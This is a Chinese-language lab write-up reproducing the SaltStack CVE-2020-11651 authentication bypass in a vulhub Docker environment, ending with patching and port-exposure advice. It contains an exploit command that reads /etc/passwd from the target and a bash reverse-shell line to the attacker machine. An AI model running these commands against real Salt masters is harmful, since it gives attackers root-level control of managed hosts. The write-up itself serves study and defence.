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0x01 简介

Sa l tS tack  是基于  Py thon 开发的一套C/S架构配置管理工具。

0x02 漏洞概述

在  CVE-2020-11651 

认证绕过漏洞中，攻击者通过构造恶意请求，可以绕过  Sa l t  Master  

的验 证逻 辑 ， 调用 相关未 授权 函数功 能，从 而可以 造成远 程命令 执行

漏 洞 ：

ClearFuncs 类 会 处 理 非 认 证 的 请 求 和 暴 露 _send_pub( ) 方 法 ， 可 以

用 来 直 接 在 master  
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publ i sh 服 务 器 上 对 消 息 进 行 排 队 。 这 些 消 息 可 以 用 来 触 发 minion

来以 root权限运行任意命令。

ClearFuncs 类 还 会 暴 露  

_prep_auth_ in fo ( ) 方 法 ， 该 方 法 会 返 回 用 来 认 证 master 服 务 器 上

本 地 root 用 户 的 命 令 的 root  key 。 然 后 root  

key 就 可 以 远 程 调 用 master  

服务器的管理命令。这种无意的暴露提供给远程非认证的攻击者对 sa

l t  master的与 root权限等价的访问权限。

0x03 影响版本

 SaltStack < 2019.2.4

 SaltStack < 3000.2

0x04 环境搭建

直接使用vu lhub进行搭建

git clone https://github.com/vulhub/vulhub.git

cd /vulhub/saltstack/CVE-2020-11651/

docker-compose up -d

查看环境是否启动docker ps



0x05 漏洞复现

Poc：

https://github.com/jasperla/CVE-2020-11651-poc

执 行 前 需 要 安 装 salt 库 ， 需 指 定 salt 库 版 本

pip3 install salt=2019.2.3

靶机ip：192.168.232.170

攻击机ip：192.168.232.129

读取文件：

python3 exploit.py --master 192.168.232.170 -r /etc/passwd

尝试反弹shell时发现，因为搭建的docker环境中并不存在nc命令



所以不能照搬原作者的命令，于是我一开始准备用最原始的反弹shell命

令：

bash -i >& /dev/tcp/192.168.232.129/23333 0>&1

经验证似乎我没成功，问了作者，给了回答：

我想了一下，采用了另一个办法：（此处更换了另一个脚本，命令稍有不

同）

https://github.com/dozernz/cve-2020-11651

在靶机上生成一个木马：

然后开启本机apache2，执行命令进行远程下载：



然后添加可执行权限：

最后运行：

得到了会话：

0x06 修复方式

1 、 Sa l tS tack 官 方 已 发 布 最 新 版 本 修 复 此 漏 洞 ， 建 议 相 关 用 户 及 时

更 新 至 安 全 版 本 及 其 以 上 ， 并 开 启 Sa l tS tack 自 动 更 新 ， 以 便 实 时 获

取补丁或升级至安全版本：https : / / repo .sa l t s tack .com/

2 、 禁 止 将 Sa l t  

Master 默 认 监 听 端 口 （ 4505 、 4506 ） 向 公 网 开 放 ， 并 设 置 为 仅 对

可信对象开放。

参考链接：



https : / / labs . f - secure .com/adv isor ies/sa l t s tack-

author i za t ion-bypass

ht tps : / /mp.we ix in .qq .com/s/1wgJeRnxD--K6kXGKWUM4w
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精选留言

用户设置不下载评论 
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